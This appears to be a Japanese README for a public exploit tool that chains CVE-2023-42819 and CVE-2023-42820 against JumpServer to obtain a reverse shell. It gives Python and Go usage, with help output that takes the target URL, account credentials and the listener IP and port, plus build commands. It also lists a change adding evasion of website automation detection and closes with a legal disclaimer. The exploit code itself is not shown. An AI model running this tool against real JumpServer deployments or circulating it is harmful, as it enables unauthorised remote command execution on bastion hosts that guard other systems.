CVE-2023-42819

脆弱性説明

JumpServer 任意ファイル書き込み脆弱性

CVE-2023-42819 + CVE-2023-42820 = GetShell

USAGE

スクリプトと必要なファイルを同じディレクトリに配置します
Google Chrome がインストールされていることを確認し、Google Chrome のバージョン番号を取得します

reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version

Google Chrome のバージョン番号とシステムに対応した chromedriver をダウンロードした後、webdriver 内に配置します

最新バージョン：https://googlechromelabs.github.io/chrome-for-testing/

過去バージョン：https://chromedriver.chromium.org/downloads/version-selection

~~要求が多くて : (~~
対応する IP と Port をリッスンし、リバースシェルを待ちます

Python バージョン

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝

                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: コードは学習目的のみに使用し、他の目的には使用しないでください

usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]

CVE-2023-42819 by C1ph3rX13.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        ターゲットURL
  -u USERNAME, --username USERNAME
                        アカウントユーザー名
  -p PASSWORD, --password PASSWORD
                        アカウントパスワード
  --ip IP               シェルIP
  --port PORT           シェルポート
  --proxy PROXY         プロキシ（http://ip:port）

Go バージョン

Build

go mod init CVE-2023-42819
go mod tidy
go build -ldflags="-s -w" -trimpath

Run

.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
             

        ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗  
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
        ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝  
                                                                                                                
    @Auth: C1ph3rX13                                                                                            
    @Blog: https://c1ph3rx13.github.io                                                                          
    @Note: コードは学習目的のみに使用し、他の目的には使用しないでください                                                                   

Usage of CVE-2023-42819.exe:
  -ip string                                                                  
        シェルIP
  -p string
        アカウントパスワード
  -port string
        シェルポート
  -proxy string
        プロキシURL
  -t string
        ターゲットURL
  -u string
        アカウントユーザー名

TODO

メンテナンス

2023-10-18 Webサイト自動化検出回避機能の追加 - Python バージョン
2023-10-18 クライアント関数のリファクタリング
2023-10-18 実行ロジックの簡略化
2023-10-18 Linux テスト OK - Go バージョン

免責事項

本ツールは、適法な権限を持つペネトレーションテストのセキュリティ担当者および通常のネットワーク運用担当者のみを対象としており、ユーザーは十分な法的権限を取得し、非営利目的である場合に限り、ダウンロード、複製、配布、または使用することができます。
本ツールを使用する過程では、すべての行動が現地の法令に準拠していることを確認し、本ソフトウェアを中華人民共和国の関連法律に違反する活動に使用しないでください。本ツールのすべての作成者および貢献者は、ユーザーが無断で本ツールを使用して違法行為を行った場合の責任を負いません。

CVE-2023-42819

人気

CVE-2023-42819

脆弱性説明

USAGE

Python バージョン

Go バージョン

Build

Run

TODO

メンテナンス

免責事項